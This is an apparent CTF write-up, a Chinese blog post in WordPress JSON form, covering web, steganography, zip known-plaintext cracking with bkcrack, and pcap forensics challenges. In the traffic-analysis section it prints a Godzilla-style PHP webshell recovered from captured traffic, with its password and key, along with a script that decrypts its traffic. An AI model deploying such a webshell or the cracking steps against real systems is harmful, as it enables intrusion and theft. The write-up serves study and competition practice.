{"id":1002,"date":"2023-02-04T13:36:20","date_gmt":"2023-02-04T05:36:20","guid":{"rendered":"https:\/\/fushuling.com\/?p=1002"},"modified":"2023-07-31T14:43:59","modified_gmt":"2023-07-31T06:43:59","slug":"%e8%a5%bf%e6%b9%96%e8%ae%ba%e5%89%91%e5%88%9d%e8%b5%9b","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/02\/04\/%e8%a5%bf%e6%b9%96%e8%ae%ba%e5%89%91%e5%88%9d%e8%b5%9b\/","title":{"rendered":"\u897f\u6e56\u8bba\u5251\u521d\u8d5b"},"content":{"rendered":"\n

\u559c\u63d050\u540d\uff0c\u5dee\u5927\u6982\u4e00\u9053\u9898\u53bb\u7ebf\u4e0b\uff0c\u8fd8\u662f\u592a\u83dc\u4e86\uff0c\u545c\u545c\u545c\u3002<\/p>\n\n\n\n

WEB<\/h1>\n\n\n\n

\u6bd4\u8d5b\u7684\u65f6\u5019\u6ca1\u548b\u505aweb\uff0c\u6bd5\u7adf\u5927\u54e5\u90fd\u53bb\u505aweb\u4e86\uff0c\u73b0\u5728\u590d\u73b0\u4e0b<\/p>\n\n\n\n

Node Magical Login<\/h2>\n\n\n\n

\u6539cookie\u62ff\u7b2c\u4e00\u6bb5<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4f20\u6570\u7ec4\u6254\u62a5\u9519\u7ed5\u5224\u65ad(\u6ce8\u610f\u628a\u6570\u7ec4\u65c1\u7684\u5f15\u53f7\u53bb\u4e86\uff0c\u4e0d\u7136\u5c31\u8bc6\u522b\u6210\u5b57\u7b26\u4e32\u4e86)<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u626d\u8f6c\u4e7e\u5764<\/h2>\n\n\n\n

\u5b83\u8bf4multipart\/form-data\u4e0d\u884c\uff0c\u4e8e\u662f\u6539\u6210multipart\/for-data\u5373\u53ef\u62ffflag\uff0c\u4e0d\u77e5\u9053\u5728\u8003\u5565<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

MISC<\/h1>\n\n\n\n

\u7b7e\u5230\u9898\u55b5<\/h2>\n\n\n\n

\u628ajpg\u6700\u540e\u4e00\u6bb5\u4e0ejpg\u683c\u5f0f\u4e0d\u7b26\u5408\u7684\u5341\u516d\u8fdb\u5236\u6570\u636e\u590d\u5236\u51fa\u6765\uff0c\u53e6\u5b58\u6587\u4ef6\uff0c\u53ef\u4ee5\u53d1\u73b0\u6587\u672c\uff1a\u7ed9\u8fd9\u4e2a\u516c\u4f17\u53f7\u53d1\u9001\uff1a\u201c\u897f\u6e56\u8bba\u52512023\u6211\u6765\u4e86\uff01\u201d\u83b7\u5f97flag\uff0c\u6240\u4ee5\u53bb\u516c\u4f17\u53f7\u53d1\u5b8c\u5c31\u62ff\u5230flag\u4e86\u3002<\/p>\n\n\n\n

mp3<\/h2>\n\n\n\n

\u6709\u70b9\u5957\u5a03\u3002<\/p>\n\n\n\n

\u4ece\u9644\u4ef6\u4e0b\u8f7d\u540e\u5f97\u5230\u4e00\u6bb5mp3\u97f3\u9891\uff0c\u7528foremost\u53ef\u4ee5\u5206\u79bb\u4e00\u5f20\u56fe\u7247\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u521a\u5f00\u59cb\u770b\u8d77\u6765\u50cf\u4e8c\u7ef4\u7801\u788e\u7247\u5565\u7684\uff0c\u540e\u6765\u6211\u7528Stegsolve\u8bd5\u4e86\u8bd5\uff0c\u53d1\u73b0\u6539lsb\u53ef\u4ee5\u53d8\u6210\u4e00\u4e2a\u538b\u7f29\u5305\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5f53\u7136\uff0c\u4f60\u7528lsb\u4e00\u628a\u68ad\u795e\u5668zsteg\u4e5f\u80fd\u53d1\u73b0\u5b83\u53ef\u4ee5\u53d8\u6210zip\u538b\u7f29\u5305\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6539\u4e3a\u538b\u7f29\u5305\u4e4b\u540e\u9700\u8981\u5bc6\u7801\uff0c\u5bc6\u7801\u4ece\u54ea\u513f\u627e\u5462\uff0c\u5f53\u7136\u53ea\u80fd\u53bb\u90a3\u4e2a\u97f3\u9891\u6587\u4ef6\u90a3\u91cc\u627e\u4e86\u3002\u6211\u5f53\u65f6\u4e00\u76f4\u60f3\u7740MP3Stego\u597d\u50cf\u5fc5\u987b\u5f97\u6709\u5bc6\u7801\u624d\u80fd\u5206\u79bb\u6587\u4ef6\uff0c\u5361\u4e86\u597d\u4e45\u627e\u5bc6\u7801\uff0c\u540e\u6765Zima\u63d0\u9192\u6211\u662f\u53ef\u4ee5\u7a7a\u5bc6\u7801\u7684\uff0c\u8fd9\u624d\u604d\u7136\u5927\u609f\uff1a<\/p>\n\n\n\n

\"\"<\/div>
\u8ba9\u4f60Enter\u5565\u4f60\u76f4\u63a5\u56de\u8f66\u5c31\u884c\u4e86<\/figcaption><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u83b7\u5f97\u89e3\u538b\u5bc6\u7801\uff1a8750d5109208213f\uff0c\u7528\u8fd9\u4e2a\u53ef\u4ee5\u89e3\u538b\u4e4b\u524d\u6211\u4eec\u6539lsb\u5f97\u5230\u7684\u538b\u7f29\u5305\uff0c\u7136\u540e\u5f97\u5230\u4e00\u4e2a47.txt\uff1a<\/p>\n\n\n\n

2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj<\/code><\/pre>\n\n\n\n
\u6211\u5f53\u65f6\u4e5f\u4e0d\u77e5\u9053\u8fd9\u662f\u5565\uff0c\u7528CTF+47\u7684\u5173\u952e\u5b57\u641c\u4e86\u4e0b\uff0c\u53d1\u73b0\u662frot47\uff08\u8fd9\u5c31\u662f\u4fe1\u606f\u641c\u96c6\u7684\u91cd\u8981\u6027\uff01\uff09\uff0c\u627e\u4e2a\u5728\u7ebf\u5e73\u53f0\u89e3\u5bc6\u4e00\u4e0b\uff0c\u5f97\u5230\uff1a<\/p>\n\n\n\n
a=~[];a={___:++a,aaaa:(![]+\"\")[a],__a:++a,a_a_:(![]+\"\")[a],_a_:++a,a_aa:({}+\"\")[a],aa_a:(a[a]+\"\")[a],_aa:++a,aaa_:(!\"\"+\"\")[a],a__:++a,a_a:++a,aa__:({}+\"\")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+\"\")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+\"\")[a.__a])+((!a)+\"\")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!\"\"+\"\")[a.__a])+(a._=(!\"\"+\"\")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!\"\"+\"\")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+\"\\\"\"+a.a_a_+(![]+\"\")[a._a_]+a.aaa_+\"\\\\\"+a.__a+a.aa_+a._a_+a.__+\"(\\\\\\\"\\\\\"+a.__a+a.___+a.a__+\"\\\\\"+a.__a+a.___+a.__a+\"\\\\\"+a.__a+a._a_+a._aa+\"\\\\\"+a.__a+a.___+a._aa+\"\\\\\"+a.__a+a._a_+a.a__+\"\\\\\"+a.__a+a.___+a.aa_+\"{\"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+\"}\\\\\\\"\\\\\"+a.a__+a.___+\");\"+\"\\\"\")())();<\/code><\/pre>\n\n\n\n
\u8fd9\u662f\u4e00\u6bb5js\u4ee3\u7801\uff0c\u627e\u4e2a\u5728\u7ebfjs\u5e73\u53f0\u8dd1\u4e00\u4e0b\u5373\u53ef\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
take_the_zip_easy<\/h2>\n\n\n\n
\u9644\u4ef6\u662f\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u6709\u5bc6\u7801\uff0c\u9884\u89c8\u53ef\u4ee5\u53d1\u73b0\u5047\u5982\u89e3\u538b\u51fa\u6765\u53ef\u4ee5\u5f97\u5230\u4e00\u4e2a\u538b\u7f29\u5305\u548c\u4e00\u4e2apcapng:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u55ef\u7206\u7834\u5b8c\u5168\u8dd1\u4e0d\u51fa\u6765\uff0c\u60f3\u60f3\u4e5f\u662f\uff0c\u8fd9\u79cd\u5927\u6bd4\u8d5b\u7684\u538b\u7f29\u5305\u5bc6\u7801\u57fa\u672c\u4e0a\u7206\u7834\u4e0d\u51fa\u6765\uff0c\u5bf9\u4e8ezip\u5e38\u89c1\u7684\u8003\u70b9\u9664\u4e86\u7206\u7834\u3001\u4f2a\u52a0\u5bc6\u3001CRC32\u660e\u6587\u78b0\u649e\uff0c\u8fd8\u6709\u4e00\u4e2a\u7ecf\u5178\u8003\u70b9\u5c31\u662f\u660e\u6587\u653b\u51fb\u4e86\uff0c\u4f46\u6211\u5f53\u65f6\u538b\u6839\u5c31\u627e\u4e0d\u5230\u5565\u660e\u6587\uff0c\u8d5b\u540e\u770b\u4e86\u770bZima\u7684wp\uff0c\u53d1\u73b0\u8fd8\u771f\u80fd\u660e\u6587\u653b\u51fb\uff0c\u957f\u89c1\u8bc6\u4e86\uff01<\/p>\n\n\n\n
\u53c2\u8003ZIP\u5df2\u77e5\u660e\u6587\u653b\u51fb\u6df1\u5165\u5229\u7528<\/a>\u4e2d\u76843.2.3\u5229\u7528\u538b\u7f29\u5305\u683c\u5f0f\u7834\u89e3\uff1a\u5c06\u4e00\u4e2a\u540d\u4e3aflag.txt\u7684\u6587\u4ef6\u6253\u5305\u6210ZIP\u538b\u7f29\u5305\u540e\uff0c\u4f60\u4f1a\u53d1\u73b0\u6587\u4ef6\u540d\u79f0\u4f1a\u51fa\u73b0\u5728\u538b\u7f29\u5305\u6587\u4ef6\u5934\u4e2d\uff0c\u4e14\u504f\u79fb\u56fa\u5b9a\u4e3a30\u3002\u4e14\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cflag.zip\u4e5f\u4f1a\u4f5c\u4e3a\u8be5\u538b\u7f29\u5305\u7684\u540d\u79f0\u3002\u6240\u4ee5\uff0c\u5f53\u4e00\u4e2a\u52a0\u5bc6\u538b\u7f29\u5305\u4e2d\u5b58\u5728\u53e6\u4e00\u4e2aZIP\u538b\u7f29\u5305\u65f6\uff0c\u4e14\u80fd\u591f\u77e5\u9053\u6216\u731c\u6d4b\u8be5\u538b\u7f29\u5305\u5185\u7684\u6587\u4ef6\u540d\u79f0\u65f6\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u8fdb\u884c\u5df2\u77e5\u660e\u6587\u653b\u51fb\u3002\u5c06flag.zip\u4e0e\u5176\u4ed6\u6587\u4ef6\uff08\u9009\u7528\u4e00\u5f20\u56fe\u7247\uff09\u4e00\u8d77\u7528\u597d\u538b\u6253\u5305\u6210\u52a0\u5bc6ZIP\u538b\u7f29\u5305\uff1atest5.zip\uff0c\u8fd9\u65f6\u6211\u4eec\u5df2\u77e5\u7684\u660e\u6587\u7247\u6bb5\u6709\uff1a\u201cflag.txt\u201d  8\u4e2a\u5b57\u8282\uff0c\u504f\u79fb30\u4ee5\u53caZIP\u672c\u8eab\u6587\u4ef6\u5934\uff1a50 4B 03 04 \uff0c4\u5b57\u8282\uff0c8+4\uff0c\u6ee1\u8db3\u4e86\u7834\u89e3\u7684\u6700\u4f4e\u8981\u6c42<\/strong>\u3002<\/p>\n\n\n\n
\u56de\u5230\u672c\u9898\uff0c\u90a3\u4e48\u8fd9\u91cc\u7684\u660e\u6587\u5728\u54ea\u91cc\u5462\uff1f\u5728dasflow.zip\u8fd9\u91cc\uff0c\u6211\u4eec\u4e0d\u59a8\u5927\u80c6\u5047\u8bbe\uff0c\u8fd9\u4e2a\u538b\u7f29\u5305\u89e3\u538b\u540e\u5f97\u5230\u7684\u5c31\u662fdasflow.pcapng\uff0c\u90a3\u6211\u4eec\u4e5f\u5c31\u77e5\u9053\u660e\u6587\u5c31\u662fdasflow.pcapng\u4e86\uff0c\u56e0\u6b64\u53ea\u8981\u6309\u90e8\u5c31\u73ed\u7684\u7167\u7740\u90a3\u4e2a\u6587\u7ae0\u6765\u5c31\u591f\u4e86\u3002\u5927\u4f19\u5148\u7167\u7740\u90a3\u4e2a\u6587\u7ae0\u88c5\u597dbkcrack\uff0c\u6284payload\u5373\u53ef\uff1a<\/p>\n\n\n\n
echo -n \"dasflow.pcapng\" >p.txt\ntime bkcrack -C zipeasy.zip -c dasflow.zip -p p.txt -o 30  -x 0 504B0304 >1.log&\ntail -f 1.log   #\u8fd9\u4e00\u6b65\u8981\u8dd1\u5f88\u4e45\uff0c\u6162\u6162\u7b49\u5427<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7528\u5f97\u5230\u7684\u5bc6\u94a5\u8fdb\u884c\u89e3\u538b\uff0c\u83b7\u5f97dasflow.pcapng\uff1a<\/p>\n\n\n\n
bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c  -d dasflow.zip<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9996\u5148\u53ef\u4ee5\u76f4\u63a5\u4eceHTTP\u63d0\u53d6\u4e00\u4e2aflag.zip\u51fa\u6765\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f46\u9700\u8981\u5bc6\u7801\uff0c\u6240\u4ee5\u6211\u4eec\u5f97\u53bb\u770b\u6d41\u91cf\u627e\u5bc6\u7801\uff0c\u8ffd\u8e2a426\u7684TCP\u6d41\uff0c\u53ef\u4ee5\u53d1\u73b0\u4e00\u6bb5\u4ee3\u7801\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<?php\n@session_start();\n@set_time_limit(0);\n@error_reporting(0);\nfunction encode($D,$K){\n    for($i=0;$i<strlen($D);$i++) {\n        $c = $K[$i+1&15];\n        $D[$i] = $D[$i]^$c;\n    }\n    return $D;\n}\n$pass='air123';\n$payloadName='payload';\n$key='d8ea7326e6ec5916';\nif (isset($_POST[$pass])){\n    $data=encode(base64_decode($_POST[$pass]),$key);\n    if (isset($_SESSION[$payloadName])){\n        $payload=encode($_SESSION[$payloadName],$key);\n        if (strpos($payload,\"getBasicsInfo\")===false){\n            $payload=encode($payload,$key);\n        }\n\t\teval($payload);\n        echo substr(md5($pass.$key),0,16);\n        echo base64_encode(encode(@run($data),$key));\n        echo substr(md5($pass.$key),16);\n    }else{\n        if (strpos($data,\"getBasicsInfo\")!==false){\n            $_SESSION[$payloadName]=encode($data,$key);\n        }\n    }\n}<\/code><\/pre>\n\n\n\n
\u8fd9\u662f\u5f88\u660e\u663e\u7684\u54e5\u65af\u62c9\u7684\u6d41\u91cf\u7279\u5f81\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003\uff1a\u54e5\u65af\u62c9\u8fd8\u539f\u52a0\u5bc6\u6d41\u91cf<\/a>\uff0c\u5bf9\u4e8e\u8fd4\u56de\u5305\u4f7f\u7528\u5982\u4e0b\u811a\u672c\u89e3\u5bc6\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u56e0\u4e3a\u6211\u4eec\u8fd9\u9053\u9898$pass=’air123′;\uff0c\u6240\u4ee5\u8981\u627e\u5230air123\uff0c\u57281127\u8fd9\u91ccPOST eval.php\u7684\u6570\u636e\u5305\u91cc\u627e\u5230\uff08\u8fd9\u91cc\u6211\u662f\u8fd0\u6c14\u597d\uff0c\u4ed6\u8fd9\u91cc\u8fde\u9a6c\u540e\u64cd\u4f5c\u8fd8\u662f\u633a\u591a\u7684\uff0c\u5f97\u4e00\u4e2a\u4e00\u4e2a\u53bbeval.php\u7684\u6570\u636e\u5305\u91cc\u627eair123\u8fd8\u539f\u547d\u4ee4\uff0c\u6211\u662f\u4e00\u4e0b\u627e\u5230\u4e86\uff0c\u9047\u5230\u4e0d\u662f\u6807\u51c6\u7684base64<\/code>\u5c31\u8981\u628a\u524d\u9762\u768416\u4f4d\u548c\u540e\u9762\u768416\u4f4d\u53bb\u6389\uff09<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5bf9\u7740\u539f\u535a\u5ba2\u7684\u811a\u672c\u6539\u6210\u73b0\u5728\u7684pass\u548ckey\u89e3\u5bc6\u4e00\u4e0b\u5373\u53ef\uff1a<\/p>\n\n\n\n
<?php\n\nfunction encode($D,$K){\n    for($i=0;$i<strlen($D);$i++){\n        $c = $K[$i+1&15];\n        $D[$i] = $D[$i]^$c;\n    }\n    return $D;\n}\n\n$pass='air123';\n$payloadName='payload';\n$key='d8ea7326e6ec5916';\n\necho gzdecode(encode(base64_decode(urldecode('J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3')),$key));\n\n?><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6240\u4ee5flag.zip\u7684\u538b\u7f29\u5305\u5bc6\u7801\u5c31\u662f\uff1a<\/p>\n\n\n\n
airDAS1231qaSW@<\/code><\/pre>\n\n\n\n
\u89e3\u538bflag.zip\u5373\u53ef\u62ff\u5230flag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u673a\u4f60\u592a\u7f8e<\/h2>\n\n\n\n
\u628a\u4e0b\u8f7d\u540e\u7684\u90a3\u4e2adasctf.npbk\u540e\u7f00\u6539\u4e3a7z\uff0c\u7136\u540e\u7528Bandzip\u628a\u91cc\u9762\u7684vmdk\u89e3\u538b\u51fa\u6765(\u5e94\u8be5\u662f\u53ea\u6709Bandzip\u8fd9\u4e2a\u538b\u7f29\u8f6f\u4ef6\uff0c\u6211\u4e4b\u524d\u7528\u7684winrar\u5565\u7684\u90fd\u663e\u793a\u6570\u636e\u9519\u8bef)<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6709\u4e86vmdk\u76f4\u63a5\u4e0a\u53d6\u8bc1\u5927\u5e08\uff0c\u5728Exif\u8fd9\u91cc\u6709\u4e00\u4e2a75.jpg\uff0c\u4f3c\u4e4e\u6bd4\u8f83\u7279\u6b8a\uff0c\u6211\u4eec\u628a\u5b83\u63d0\u53d6\u51fa\u6765<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5bfc\u51fa\u6765\u4e4b\u540e\u5728Linux\u91ccexiftool 75.jpg\u67e5\u770b\u4e00\u4e0b\u56fe\u7247\u7684exif\u4fe1\u606f\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u63d0\u793a\u6211\u4eecXOR DasCTF2022\u4e00\u4e0b\uff0c\u4f46\u76f4\u63a5xor\u56fe\u7247\u597d\u50cf\u6ca1\u5565\u53cd\u5e94\uff0c\u7ee7\u7eed\u67e5\u627e\u4e00\u4e0b\u4fe1\u606f\uff0c\u5728PNG\u90a3\u91cc\u5bfc\u51fa41.png\uff0c\u4f7f\u7528Stegsolve\u67e5\u770b\u53d1\u73b0\u4e00\u4e9b\u6709\u89c4\u5f8b\u7684\u50cf\u7d20\u70b9\uff0c\u770b\u8d77\u6765\u5f88\u50cf\u4e8c\u8fdb\u5236<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u628a\u8fd9256\u4e2a\u50cf\u7d20\u70b9\u88c1\u526a\u4e0b\u6765\uff0c\u7528python\u811a\u672c\u628a\u5b83\u4ee5\u4e8c\u8fdb\u5236\u5f62\u5f0f\u8bc6\u522b\u4e00\u4e0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
import cv2\n\nimg = cv2.imread(\"solved.png\", cv2.IMREAD_GRAYSCALE)\n\nbin_str = \"\"\nfor i in img:\n\tif i == 0:\n\t\tbin_str += \"0\"\n\telse:\n\t\tbin_str += \"1\"\n\nprint(bin_str)\nprint(len(bin_str))\n#0110010100110000001100010011010100110100001101000110000100111001001100110011001100110011011001010110011000110110001100100110000100110011011000010110000100110010001101110011001100110101001101110110010101100010001101010011001001100101011000010011100001100001<\/code><\/pre>\n\n\n\n
\u628a\u5b83\u8f6c\u5316\u6210\u5b57\u7b26\u4e32\uff0c\u5f97\u5230\uff1ae01544a9333ef62a3aa27357eb52ea8a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u4e1c\u897f\u770b\u8d77\u6765\u5f88\u50cf\u538b\u7f29\u5305\u5bc6\u7801\uff0c\u56de\u5230\u53d6\u8bc1\u5927\u5e08\u538b\u7f29\u5305\u90a3\u91cc\uff0c\u53d1\u73b0\u53ef\u4ee5\u63d0\u53d6\u5f88\u591a\u538b\u7f29\u5305\u51fa\u6765\uff0c\u7ecf\u68c0\u9a8c\u8fd9\u6b63\u662f50.zip\u7684\u89e3\u538b\u5bc6\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u89e3\u538b\u540eflag\u6587\u4ef6\uff0c\u91cc\u9762\u662f\u4e00\u4e9b\u4e71\u7801\uff0c\u8054\u60f3\u5230\u524d\u9762\u8bf4\u7684\u5f02\u6216\uff0c\u5728CyberChef\u5bfc\u5165flag\u6587\u4ef6\u540e\u5f02\u6216UTF8\u7f16\u7801\u7684DasCTF2022\u5373\u53ef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u559c\u63d050\u540d\uff0c\u5dee\u5927\u6982\u4e00\u9053\u9898\u53bb\u7ebf\u4e0b\uff0c\u8fd8\u662f\u592a\u83dc\u4e86\uff0c\u545c\u545c\u545c\u3002 WEB \u6bd4\u8d5b\u7684\u65f6\u5019\u6ca1\u548b\u505aweb\uff0c\u6bd5\u7adf\u5927\u54e5\u90fd\u53bb\u505aweb\u4e86\uff0c […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-1002","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1002","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=1002"}],"version-history":[{"count":3,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1002\/revisions"}],"predecessor-version":[{"id":1045,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1002\/revisions\/1045"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=1002"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=1002"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=1002"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}